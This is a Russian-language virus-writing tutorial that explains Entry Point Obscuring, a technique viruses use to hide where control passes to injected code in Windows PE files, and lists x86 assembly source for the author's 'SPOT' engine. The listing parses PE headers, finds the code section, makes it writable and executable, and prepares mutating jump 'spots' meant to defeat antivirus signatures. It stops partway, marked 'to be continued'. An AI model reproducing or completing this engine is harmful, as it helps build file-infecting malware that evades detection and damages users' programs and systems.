В данной статье мы рассмотрим моделирование простого EPO мотора. На данную тему
уже было написано несколько статей, но они в большей степени
теоретические. В этом тексте будет рассмотрено, как теоритическое моделирование так и пример
применения этой теории. В качестве примера будет разобран мой ЕPO мотор - SPOT.
Начнём мы прежде всего с определения EPO - Entry Point Obscuring. В переводе
это означает - скрытие точки входа. В основном данное понятие применяется к
компьютерным вирусам, которые не меняют в заголовке исполнимого файла точку
входа. Точка входа это адрес с которого начинается выполнение программы при её
запуске. Впервые данная техника была применена ещё в ДОС вирусах.
В аспекте Windows систем данная техника была применена впервые в вирусе
Cabanas. В чём же заключалась данная техника давайте рассмотрим на схеме.
До вируса Cabanas в Windows системах такая техника не применялась. Обычно вирус
Изменял в заголовке точку входа редактировал виртуальный размер и дописывал
своё тело в конец файла (обычно вирус создавал новую секцию). Потому как все
вирусы меняли точку входа, то антивирусные программы просто проверяли куда
указывает точка входа и потом уже легко или сложно детектировали вирус.
В вирусе Cabanas первые 5 байт кодовой секции вначале сохраняются в теле вируса,
а потом перезаписываются jmp'ом на начало вируса. Таким образом не нужно менять
точку входа, потому что вирус получит управление после первой инструкции
перехода.
После этого пошла волна вариаций на ту же тему. Инструкции передающие
управление вирусу усложнялись, видоизменялись. Иногда туда встраивали даже
декрипторы, которые расшифровывали закриптованное вирусное тело и передавали на
него управление. Но антивирусные программы то же стали проверять куда передают
управление первые инструкции кодовой секции. Так же постоянно обновляются маски
этих инструкций передающих управление на вирусное тело.
Для того чтобы усложнить анализ и детектирование данных инструкций мной был
разработан мотор (модуль), который легко применять.
Начнём мы построение нашего мотора с того, что определимся чего нам необходимо
достичь:
- Чтобы наши инструкции не обнаруживались по маске (мутация).
- Чтобы наши инструкции не сразу передавали управление вирусу или защите от взлома программы (маскировка).
- Чтобы управление в конце концов получил наш код.
Теперь попытаемся определится, как наш мотор должен работать:
- В начало кода встраивается первая партия инструкций, но каждый раз она будет разная. Это будет реализовано за счёт разбавление одной значащей инструкции сложным разнообразным мусором.
- Первое пятно будет передавать управление второму и так далее, пока последнее пятно не передаст управление инжектированному коду.
Рассмотрим на примере устройство i-ого пятна:
...................
mov eax,7385673
add ebx,9874
cmp ecx,edx
mov edx,7234
je $+2
jmp to_i_plus1_spot
add eax,456678
...................
Каждое из пятен сильно мутирующее, то есть по маске его детектировать невозможно. Количество пятен случайно и расстояние между пятнами то же случайно.
Все байты которые перетираются пятнами, сохраняются в теле вируса.
Для работы мотора необходимы следующие модули:
1) Генератор случайных чисел (r_gen32.asm)
2) Генератор исполнимого мусора (t_gen32.asm)
Теперь мы готовы перейти к листингу нашего мотора:
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; [SIMPLE EPO TECHNIQUE ENGINE V. 0.1] ;
; ;
; FOR MS WINDOWS ;
; ;
; BY SL0N ;
;--------------------------;
; MANUAL: ;
; ADDRESS OF MAPPED FILE -> EDX ;
; ;
; CALL EPO ;
;--------------------------;
; MANUAL FOR RESTORE: ;
; CALL RESTORE ;
; ;
; ENTRY POINT -> EBX ;
;--------------------------;
; (+) DO NOT USE WIN API ;
; (+) EASY TO USE ;
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) ;
; (+) USE X87 INSTRUCTIONS ;
; (+) RANDOM NUMBER OF SPOTS ;
; (+) MUTABLE SPOTS ;
; (+) RANDOM LENGTH OF JUMP ;
;--------------------------;
epo:
push esi edi ; Сохраняем в
стеке esi
; и edi
mov [ebp+map_address],edx ; Сохраняем адрес файла в
; памяти
call get_head ; Получаем PE заголовок
;
call search_eip ; Вычисляем новую точку
; входа
call find_code ; Ищем начало кода в этом
; файле
call spots ; Помещаем туда переход
; на вирус
pop edi esi ; Восстанавливаем из
стека
; edi и esi
ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; PE HEADER SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; FILE IN MEMORY -> EDX ;
;--------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
get_head:
; Подпрограмма получения
; PE заголовка
pusha ; Сохраняем всё в стэке
mov ebx,[edx + 3ch] ;
add ebx,edx ;
;
mov [ebp + PE_header],ebx ; сохраняем PE заголовок
mov esi,ebx ;
mov edi,esi ;
mov ebx,[esi + 28h] ;
mov [ebp + old_eip],ebx ; Сохраняем старую точку
; входа (eip)
mov ebx,[esi + 34h] ;
mov [ebp + image_base],ebx ; Сохраняем
; виртуальный адрес
; начала программы
popa ; Вынимаем всё из
стека
ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; NEW ENTRY POINT SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
search_eip:
; Подпрограмма вычисления
; новой точки входа
pusha ; Сохраняем всё в стэке
mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок
mov ebx,[esi + 74h] ;
shl ebx,3 ;
xor eax,eax ;
mov ax,word ptr [esi + 6h] ; Количество объектов
dec eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает
add esi,ebx ; на начало последнего
add esi,eax ; заголовка секции
mov eax,[esi+0ch] ;
add eax,[esi+10h] ; Сохраняем новую точку
mov [ebp+new_eip],eax ; входа
popa ; Вынимаем всё из
стека
ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; FIND START OF CODE SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code:
; Подпрограмма поиска начала
; кода
mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок
mov ebx,[esi + 74h] ;
shl ebx,3 ; Получаем
xor eax,eax ;
mov ax,word ptr [esi + 6h] ; Количество объектов
find2:
mov esi,edi ;
dec eax ;
push eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает на
add esi,ebx ; начало последнего
; заголовка
add esi,eax ; секции
mov eax,[ebp+old_eip] ; В eax
кладем точку входа
mov edx,[esi+0ch] ; В edx адрес куда будет
; мепится
; текущая секция
cmp edx,eax ; Проверяем
pop eax ; Вынимаем из
стека eax
jg find2 ; Если больше ищем дальше
add edx,[esi+08h] ; Добавляем виртуальный
; размер
секции
cmp edx,[ebp+old_eip] ; Проверяем
jl find2 ; Если меньше ищем дальше
mov edx,[esi+0ch] ; Далее вычисляем
; физическое
mov eax,[ebp+old_eip] ; смещение кода в файле
sub eax,edx ;
add eax,[esi+14h] ;
add eax,[ebp+map_address] ; И потом добавляем базу
; памяти
mov [ebp+start_code],eax ; Сохраняем начало кода
or [esi + 24h],00000020h or 20000000h or 80000000h
; Меняем
атрибуты
; кодовой секции
mov eax,[esi+08] ; Вычисляем размер
sub eax,[ebp+old_eip] ; той части кодовой секции,
mov edx,[esi+10h] ; где можно размещать
sub edx,eax ; пятна
mov [ebp+size_for_spot],edx ;
ret ; Возврат из процедуры
(продолжение следует)